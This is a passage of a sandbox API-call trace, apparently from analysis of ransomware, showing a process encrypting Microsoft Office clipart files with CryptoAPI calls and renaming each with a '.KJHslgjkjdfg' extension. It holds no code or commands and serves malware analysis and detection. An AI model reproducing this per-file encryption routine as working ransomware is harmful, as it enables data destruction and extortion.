lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.692] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.692] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.692] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.692] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.692] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a7c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a7c, lpOverlapped=0x0) returned 1 [0188.693] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a80, dwBufLen=0x1a80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a80) returned 1 [0188.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.693] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a80, lpOverlapped=0x0) returned 1 [0188.694] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.694] SetEndOfFile (hFile=0x130) returned 1 [0188.696] GetProcessHeap () returned 0x990000 [0188.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.697] GetProcessHeap () returned 0x990000 [0188.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.kjhslgjkjdfg")) returned 1 [0188.698] CloseHandle (hObject=0x130) returned 1 [0188.698] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0188.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.698] GetProcessHeap () returned 0x990000 [0188.698] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.698] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.698] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.701] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.701] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.701] GetProcessHeap () returned 0x990000 [0188.701] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.701] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.701] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.701] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.701] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.702] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.702] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.702] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.702] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.702] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.702] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8e8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8e8, lpOverlapped=0x0) returned 1 [0188.702] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8f0, dwBufLen=0x8f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8f0) returned 1 [0188.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.702] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8f0, lpOverlapped=0x0) returned 1 [0188.702] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.703] SetEndOfFile (hFile=0x130) returned 1 [0188.705] GetProcessHeap () returned 0x990000 [0188.705] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.705] GetProcessHeap () returned 0x990000 [0188.705] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.705] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.kjhslgjkjdfg")) returned 1 [0188.706] CloseHandle (hObject=0x130) returned 1 [0188.707] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0188.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.707] GetProcessHeap () returned 0x990000 [0188.707] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.707] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.707] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.707] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.707] GetProcessHeap () returned 0x990000 [0188.707] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.708] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.708] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.708] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.710] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.710] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.710] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.711] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.711] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.711] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.711] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2e0, lpOverlapped=0x0) returned 1 [0188.711] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e0) returned 1 [0188.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.711] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2e0, lpOverlapped=0x0) returned 1 [0188.711] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.711] SetEndOfFile (hFile=0x130) returned 1 [0188.714] GetProcessHeap () returned 0x990000 [0188.714] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.714] GetProcessHeap () returned 0x990000 [0188.714] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.kjhslgjkjdfg")) returned 1 [0188.715] CloseHandle (hObject=0x130) returned 1 [0188.715] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0188.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.715] GetProcessHeap () returned 0x990000 [0188.716] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.716] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.716] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.718] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.718] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.718] GetProcessHeap () returned 0x990000 [0188.718] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.718] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.719] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.719] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.719] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.719] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.719] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.719] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.719] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.719] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.719] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x439c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x439c, lpOverlapped=0x0) returned 1 [0188.720] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x43a0, dwBufLen=0x43a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x43a0) returned 1 [0188.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.721] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x43a0, lpOverlapped=0x0) returned 1 [0188.721] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.721] SetEndOfFile (hFile=0x130) returned 1 [0188.724] GetProcessHeap () returned 0x990000 [0188.724] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.724] GetProcessHeap () returned 0x990000 [0188.724] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.kjhslgjkjdfg")) returned 1 [0188.725] CloseHandle (hObject=0x130) returned 1 [0188.725] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0188.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.726] GetProcessHeap () returned 0x990000 [0188.726] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.727] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.727] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.729] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.729] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.729] GetProcessHeap () returned 0x990000 [0188.729] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.729] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.729] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.729] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.729] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.729] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.729] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.730] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.730] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.730] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.730] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f08, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f08, lpOverlapped=0x0) returned 1 [0188.731] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f10, dwBufLen=0x1f10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f10) returned 1 [0188.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 